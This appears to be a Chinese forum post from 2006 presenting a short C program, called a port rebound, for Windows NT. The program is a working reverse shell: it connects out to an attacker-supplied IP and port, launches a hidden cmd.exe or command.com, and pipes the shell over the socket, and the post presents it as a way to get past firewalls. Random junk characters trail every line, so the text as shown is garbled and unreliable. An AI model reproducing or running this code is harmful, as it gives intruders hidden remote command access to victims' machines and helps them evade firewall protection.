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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 UcHe"mn  
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/* ============================== c,K)*HB  
Rebound port in Windows NT Zt;dPYq>  
By wind,2006/7 PLkwtDi+&  
===============================*/ cL]vJ`?Ih  
#include .;1tu+S  
#include *Va;ra(V2  
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#pragma comment(lib,"wsock32.lib") x e~lV  
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void OutputShell(); G`_LD+  
SOCKET sClient; /f5*KRM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4Pbuv6`RK  
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void main(int argc,char **argv) Xiy9Oeq2uh  
{ <? Z[X{  
WSADATA stWsaData; \ r^#a  
int nRet; *[P"2b#  
SOCKADDR_IN stSaiClient,stSaiServer; g[NmVY-o  
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if(argc != 3) ]f3[I3;K  
{ W7F1o[  
printf("Useage:\n\rRebound DestIP DestPort\n"); $j+RUelFY  
return; 9?jD90@ }  
} BrHw02G  
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WSAStartup(MAKEWORD(2,2),&stWsaData); r~q(m>Ct6  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <Va7XX%>  
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stSaiClient.sin_family = AF_INET; R;G"LT  
stSaiClient.sin_port = htons(0); 7z_EX8^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JJHfg)  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \4/zvlo]h  
{ OH(w3:;[8  
printf("Bind Socket Failed!\n"); prWK U  
return; Q.]$t 2J  
} s9Tp(Yr,k  
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stSaiServer.sin_family = AF_INET; U9*uXD1\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .~nk' m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _5t~g_(1OK  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &}:]uC  
{ ;*H@E(g  
printf("Connect Error!"); @26gP:Um  
return; `/"rs@  
} ,w9:)B7  
OutputShell(); j$<sq  
} Z7="on4  
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void OutputShell() }MCh$  
{ D(' w<9.  
char szBuff[1024]; i40'U?eG~6  
SECURITY_ATTRIBUTES stSecurityAttributes; +nz6+{li\  
OSVERSIONINFO stOsversionInfo; 61[ 8I},V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  1?oX"  
STARTUPINFO stStartupInfo; dbE]&w`?d  
char *szShell; K1gZ>FEY|N  
PROCESS_INFORMATION stProcessInformation; M2$.Y om[  
unsigned long lBytesRead; \~(scz$  
mSg{0_:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }Ai_peO0a  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); MMQ^&!H  
stSecurityAttributes.lpSecurityDescriptor = 0; BidTrO  
stSecurityAttributes.bInheritHandle = TRUE; y^*o%2/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3w>S?"W#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kL7n`o  
#Ns]l<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6dN W2_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6H#4iMeh  
stStartupInfo.wShowWindow = SW_HIDE; C'wRF90  
stStartupInfo.hStdInput = hReadPipe; 0E<xzYo  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xa=Lu?t%<  
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GetVersionEx(&stOsversionInfo); x @a3STKT  
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switch(stOsversionInfo.dwPlatformId) MyJ\/`8  
{ Z]QpH<Z  
case 1: '&;s32']}  
szShell = "command.com"; oy _DYop  
break; <27:O,I  
default: .:b&$~<  
szShell = "cmd.exe"; Rs +),  
break; F%]Z yO9  
} <TDp8t9bU  
OxC8xB;`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B&M-em=  
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send(sClient,szMsg,77,0); oOAn 5t@  
while(1) C3]"y7  
{ YAc~,N   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dPm_jX  
if(lBytesRead) G2[? b2)8  
{ )@Vz,f\}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k$ORVU  
send(sClient,szBuff,lBytesRead,0); z{q|HO  
} >x3$Ld  
else Od,P,t9  
{ *B3 4  
lBytesRead=recv(sClient,szBuff,1024,0); -_KO}_  
if(lBytesRead<=0) break; 9'5`0$,|^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k vQ] }`a  
} V#P`FX  
} eVetG,["  
6z'3e\x  
return; SZ&I4-  
}
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